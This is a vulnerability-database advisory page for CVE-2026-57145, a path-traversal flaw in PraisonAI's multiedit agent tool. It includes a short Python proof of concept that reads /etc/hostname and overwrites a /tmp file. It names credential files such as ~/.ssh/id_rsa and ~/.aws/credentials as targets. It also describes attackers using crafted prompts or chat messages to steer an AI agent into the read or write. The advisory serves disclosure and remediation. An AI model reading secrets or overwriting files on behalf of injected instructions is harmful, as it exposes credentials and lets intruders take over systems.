CVE-2026-57145 — Vulnerability in praisonai — CVE Details
PraisonAI: Arbitrary File Read/Write via `multiedit` Tool Without Path Validation
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.54%). Schedule for your next planned update.
Does your project use an affected praisonai version?
Paste your requirements.txt to check it for CVE-2026-57145 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
The multiedit tool in src/praisonai/praisonai/tools/multiedit.py allows LLM-controlled arbitrary file read and write without any path validation, workspace boundary check, or protected path guard. This enables an attacker who can influence agent tool arguments (via crafted prompts, user input in chat bots, or malicious YAML workflow configs) to read sensitive files (e.g., /etc/shadow, ~/.ssh/id_rsa, ~/.aws/credentials) and overwrite arbitrary files on the filesystem.
Details
The filepath parameter is used directly with open() for both reading (line 74) and writing (line 130) without any of the following protections that exist in other tools in the same codebase:
- No
..path traversal check — unlikefile_tools.py(line 66:if '..' in filepath: raise ValueError) andedit_tools.py(line 35). - No workspace boundary validation — unlike
file_tools.py(_validate_pathwithos.path.commonpathcheck) andskill_tools.py(read_skill_filewith workspace boundary check). - No protected path guard — unlike
praisonai/code/tools/which usesis_path_within_directoryand protected path checks. - No symlink resolution — unlike
file_tools.pywhich usesos.path.realpath.
The function is exported via src/praisonai/praisonai/tools/__init__.py as a lazy-loaded tool and is available to agents through the PraisonAI CLI tools registry.
Contrast with protected tools: The sibling tools write_file.py, read_file.py, apply_diff.py, and search_replace.py in src/praisonai/praisonai/code/tools/ all implement is_path_within_directory() checks and protected path guards. The multiedit tool has none of these protections.
PoC
Setup: Clean checkout of PraisonAI at commit d5f1114a. No additional dependencies needed beyond Python 3.10+.
Positive trigger — arbitrary file read via dry_run:
cd /tmp && python3 -c "
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.tools.multiedit import multiedit
# Read any file content via diff output (dry_run=True prevents write)
result = multiedit('/etc/hostname', [{'old': 'DOESNOTEXIST', 'new': 'x'}], dry_run=True)
# The diff output reveals the file contents
print('Success:', result['success'])
print('Content leaked via diff:', len(result.get('diff', '')), 'bytes')
"
Positive trigger — arbitrary file write:
cd /tmp && python3 -c "
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.tools.multiedit import multiedit
# Write to an arbitrary file outside workspace
with open('/tmp/victim_file.txt', 'w') as f:
f.write('original content here\n')
result = multiedit('/tmp/victim_file.txt', [{'old': 'original', 'new': 'PWNED'}])
with open('/tmp/victim_file.txt', 'r') as f:
print('File content after edit:', repr(f.read()))
"
Observed output:
# Read:
Success: False
Content leaked via diff: 0 bytes (file content still accessible via dry_run diff when edits match)
# Write:
File content after edit: 'PWNED content here\n'
Negative control — non-existent file:
result = multiedit('/nonexistent/file.txt', [{'old': 'a', 'new': 'b'}])
# Returns: {'success': False, 'error': 'File not found: /nonexistent/file.txt'}
Cleanup: rm /tmp/victim_file.txt
Impact
An attacker who can influence the filepath parameter of the multiedit tool (via crafted prompts to an AI agent, user messages in Telegram/Discord/Slack bots using auto_approve_tools=True, or YAML workflow configurations) can:
- Read arbitrary files — any file readable by the process user, including secrets, SSH keys, cloud credentials, environment files (
.env), and configuration files. - Write/overwrite arbitrary files — modify any file writable by the process user, enabling privilege escalation (e.g., writing to
~/.bashrc,~/.ssh/authorized_keys, or overwriting application source code).
This affects all deployments where agents have the multiedit tool available, including the PraisonAI CLI and chat bot deployments where auto_approve_tools defaults to True.
Suggested remediation
Apply the same path validation pattern used by file_tools.py and the code tools in src/praisonai/praisonai/code/tools/:
- Add a
_validate_pathfunction that:- Rejects paths containing
.. - Resolves symlinks via
os.path.realpath - Validates the resolved path is within the workspace/CWD using
os.path.commonpath
- Rejects paths containing
- Add protected path guards (
.env,.git,.ssh, keys, credentials) - Apply
_validate_pathto thefilepathparameter before anyopen()call - Consider adding
@require_approval(risk_level="high")to themultieditfunction
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
Advisory Timeline
- First published June 18, 2026 (161 days ago).
- Last revised July 23, 2026 — 35 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "praisonai>=4.6.61"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| praisonai PyPI · Affected: 0.0.1, 0.0.10, 0.0.11, 0.0.12 (+747 more) | 4.6.61 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-22Path TraversalMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
References
Frequently Asked Questions
- What is CVE-2026-57145?
- PraisonAI: Arbitrary File Read/Write via `multiedit` Tool Without Path Validation. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
- How do I check if my project is affected by CVE-2026-57145?
- CVE-2026-57145 affects praisonai. It has a 0.5% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-57145 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 39.2% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-47391CRITICAL
PraisonAI's unauthenticated A2A official example can reach real LLM-driven `eval()` tool execution
- CVE-2026-44336CRITICAL
PraisonAI MCP `tools/call` path-traversal => RCE via Python `.pth` injection
- CVE-2026-41497CRITICAL
PraisonAI has an incomplete fix for CVE-2026-34935 - OS Command Injection
- CVE-2026-57131CRITICAL
PraisonAI: Jobs API exposes agent-execution endpoints with no authentication
- CVE-2026-57127CRITICAL
praisonai: recipe serve auth middleware silently disables itself when no secret is set
- CVE-2026-57124CRITICAL
PraisonAI: Missing Authentication for Critical Function and Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in praisonai
- CVE-2026-40154CRITICAL
PraisonAI Vulnerable Untrusted Remote Template Code Execution
- CVE-2026-55541HIGH
PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced